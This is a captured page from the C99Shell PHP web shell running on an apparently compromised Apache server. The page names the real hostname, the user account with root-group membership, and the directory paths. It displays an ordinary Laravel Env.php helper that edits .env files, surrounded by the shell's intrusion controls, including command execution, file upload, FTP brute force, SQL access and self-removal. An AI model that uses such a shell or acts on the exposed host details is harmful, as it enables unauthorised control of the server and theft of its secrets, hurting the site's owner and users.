!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Lib/   drwxr-xr-x
Free 22.61 GB of 117.98 GB (19.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Env.php (3.15 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Lib;

use 
Illuminate\Support\Facades\App;

class 
Env
{
    
/**
     * Get the environment value or default if not exist.
     *
     * @param string $key
     * @param string|null $default
     * @return void
     */
    
public static function get(string $keystring $default null)
    {
        return 
env($key$default);
    }

    
/**
     * set enviroment value
     *
     * @param string $key
     * @param string $value
     * @param string|null $envFilePath
     * @return void
     */
    
public static function set(string $keystring $valuestring $envFilePath null): void
    
{
        try {
            
$envFilePath $envFilePath ?? App::environmentFilePath();
        } catch (
InvalidArgumentException $e) {
            return;
        }

        
$content file_get_contents($envFilePath);
        [
$newEnvFileContent$isNewVariableSet] = self::setEnvVariable($content$key$value);

        
self::writeFile($envFilePath$newEnvFileContent);
    }

    
/**
     * Set or update env-variable.
     *
     * @param string $envFileContent Content of the .env file.
     * @param string $key            Name of the variable.
     * @param string $value          Value of the variable.
     *
     * @return array [string newEnvFileContent, bool isNewVariableSet].
     */
    
protected static function setEnvVariable(string $envFileContentstring $keystring $value): array
    {
        
$oldPair self::readKeyValuePair($envFileContent$key);

        
// Wrap values that have a space or equals in quotes to escape them
        
if (preg_match('/\s/',$value) || strpos($value'=') !== false) {
            
$value '"' $value '"';
        }

        
$newPair $key '=' $value;

        
// For existed key.
        
if ($oldPair !== null) {
            
$replaced preg_replace('/^' preg_quote($oldPair'/') . '$/uimU'$newPair$envFileContent);
            return [
$replacedfalse];
        }

        
// For a new key.
        
return [$envFileContent "\n" $newPair "\n"true];
    }

    
/**
     * Read the "key=value" string of a given key from an environment file.
     * This function returns original "key=value" string and doesn't modify it.
     *
     * @param string $envFileContent
     * @param string $key
     *
     * @return string|null Key=value string or null if the key is not exists.
     */
    
protected static function readKeyValuePair(string $envFileContentstring $key): ?string
    
{
        
// Match the given key at the beginning of a line
        
if (preg_match("#^ *{$key} *= *[^\r\n]*$#uimU"$envFileContent$matches)) {
            return 
$matches[0];
        }

        if (
preg_match('/^\s*' preg_quote($key'/') . '\s*=\s*(.*)$/uimU'$envFileContent$match)){
            return 
$match[0];
        }

        return 
null;
    }

    
/**
     * writeFile
     *
     * @param string $path
     * @param string $contents
     * @return boolean
     */
    
protected static function writeFile(string $pathstring $contents): bool
    
{
        return (bool)
file_put_contents($path$contentsLOCK_EX);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--